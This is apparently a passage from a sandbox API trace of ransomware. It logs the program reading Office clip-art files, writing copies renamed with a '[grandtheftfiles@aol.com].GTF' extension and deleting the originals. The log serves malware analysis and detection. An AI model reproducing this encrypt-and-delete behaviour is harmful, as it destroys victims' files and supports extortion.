	[0086.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.657] lstrlenW (lpString=".ppt") returned 4
	[0086.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.657] lstrlenW (lpString=".zip") returned 4
	[0086.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.657] lstrlenW (lpString=".rar") returned 4
	[0086.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString=".bz2") returned 4
	[0086.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString=".7z") returned 3
	[0086.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.657] lstrlenW (lpString=".dbf") returned 4
	[0086.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.657] lstrlenW (lpString=".1cd") returned 4
	[0086.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.657] lstrlenW (lpString=".jpg") returned 4
	[0086.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.658] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.658] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0086.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.658] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=552) returned 1
	[0086.658] CloseHandle (hObject=0x320) returned 1
	[0086.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220
	[0086.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.658] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.658] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.659] GetLastError () returned 0x0
	[0086.659] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x228, lpOverlapped=0x0) returned 1
	[0086.660] WriteFile (in: hFile=0x370, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x230, lpOverlapped=0x0) returned 1
	[0086.661] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.661] WriteFile (in: hFile=0x370, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.661] SetEndOfFile (hFile=0x370) returned 1
	[0086.661] CloseHandle (hObject=0x370) returned 1
	[0086.661] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.661] SetEndOfFile (hFile=0x320) returned 1
	[0086.662] CloseHandle (hObject=0x320) returned 1
	[0086.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".doc") returned 4
	[0086.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString=".docx") returned 5
	[0086.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.663] lstrlenW (lpString=".pdf") returned 4
	[0086.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString=".xls") returned 4
	[0086.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.663] lstrlenW (lpString=".xlsx") returned 5
	[0086.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.663] lstrlenW (lpString=".ppt") returned 4
	[0086.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".zip") returned 4
	[0086.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.663] lstrlenW (lpString=".rar") returned 4
	[0086.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString=".bz2") returned 4
	[0086.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString=".7z") returned 3
	[0086.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".dbf") returned 4
	[0086.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".1cd") returned 4
	[0086.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.663] lstrlenW (lpString=".jpg") returned 4
	[0086.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString=".doc") returned 4
	[0086.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString=".docx") returned 5
	[0086.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.664] lstrlenW (lpString=".pdf") returned 4
	[0086.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString=".xls") returned 4
	[0086.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.664] lstrlenW (lpString=".xlsx") returned 5
	[0086.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.664] lstrlenW (lpString=".ppt") returned 4
	[0086.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString=".zip") returned 4
	[0086.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.664] lstrlenW (lpString=".rar") returned 4
	[0086.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString=".bz2") returned 4
	[0086.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString=".7z") returned 3
	[0086.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString=".dbf") returned 4
	[0086.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString=".1cd") returned 4
	[0086.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0086.664] lstrlenW (lpString=".jpg") returned 4
	[0086.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.665] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.665] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0086.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.665] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4148) returned 1
	[0086.665] CloseHandle (hObject=0x320) returned 1
	[0086.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220
	[0086.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.665] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.665] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.666] GetLastError () returned 0x0
	[0086.666] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1034, lpOverlapped=0x0) returned 1
	[0086.676] WriteFile (in: hFile=0x370, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1040, lpOverlapped=0x0) returned 1
	[0086.677] ReadFile (in: hFile=0x320, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.677] WriteFile (in: hFile=0x370, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.677] SetEndOfFile (hFile=0x370) returned 1
	[0086.677] CloseHandle (hObject=0x370) returned 1
	[0086.677] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.678] SetEndOfFile (hFile=0x320) returned 1
	[0086.678] CloseHandle (hObject=0x320) returned 1
	[0086.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0086.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.679] lstrlenW (lpString=".doc") returned 4
	[0086.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.679] lstrlenW (lpString=".docx") returned 5
	[0086.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.679] lstrlenW (lpString=".pdf") returned 4
	[0086.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.679] lstrlenW (lpString=".xls") returned 4
	[0086.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.679] lstrlenW (lpString=".xlsx") returned 5
	[0086.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.679] lstrlenW (lpString=".ppt") returned 4
	[0086.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.679] lstrlenW (lpString=".zip") returned 4
	[0086.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.679] lstrlenW (lpString=".rar") returned 4
	[0086.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.679] lstrlenW (lpString=".bz2") returned 4
	[0086.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.679] lstrlenW (lpString=".7z") returned 3
	[0086.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.679] lstrlenW (lpString=".dbf") returned 4
	[0086.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".1cd") returned 4
	[0086.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".jpg") returned 4
	[0086.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".doc") returned 4
	[0086.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".docx") returned 5
	[0086.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.680] lstrlenW (lpString=".pdf") returned 4
	[0086.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".xls") returned 4
	[0086.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.680] lstrlenW (lpString=".xlsx") returned 5
	[0086.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.680] lstrlenW (lpString=".ppt") returned 4
	[0086.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".zip") returned 4
	[0086.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.680] lstrlenW (lpString=".rar") returned 4
	[0086.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".bz2") returned 4
	[0086.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".7z") returned 3
	[0086.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".dbf") returned 4
	[0086.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".1cd") returned 4
	[0086.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".jpg") returned 4
	[0086.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.681] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.681] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0086.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.837] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2300) returned 1
	[0086.837] CloseHandle (hObject=0x368) returned 1
	[0086.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220
	[0086.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.851] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.851] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.867] GetLastError () returned 0x0
	[0086.871] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0086.882] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x900, lpOverlapped=0x0) returned 1
	[0086.883] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.883] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.883] SetEndOfFile (hFile=0x390) returned 1
	[0086.883] CloseHandle (hObject=0x390) returned 1
	[0086.883] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.883] SetEndOfFile (hFile=0x368) returned 1
	[0086.884] CloseHandle (hObject=0x368) returned 1
	[0086.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0086.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".doc") returned 4
	[0086.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString=".docx") returned 5
	[0086.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.885] lstrlenW (lpString=".pdf") returned 4
	[0086.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString=".xls") returned 4
	[0086.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.885] lstrlenW (lpString=".xlsx") returned 5
	[0086.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.885] lstrlenW (lpString=".ppt") returned 4
	[0086.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".zip") returned 4
	[0086.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.885] lstrlenW (lpString=".rar") returned 4
	[0086.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString=".bz2") returned 4
	[0086.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString=".7z") returned 3
	[0086.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".dbf") returned 4
	[0086.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".1cd") returned 4
	[0086.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".jpg") returned 4
	[0086.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.885] lstrlenW (lpString=".doc") returned 4
	[0086.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.885] lstrlenW (lpString=".docx") returned 5
	[0086.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.886] lstrlenW (lpString=".pdf") returned 4
	[0086.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.886] lstrlenW (lpString=".xls") returned 4
	[0086.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
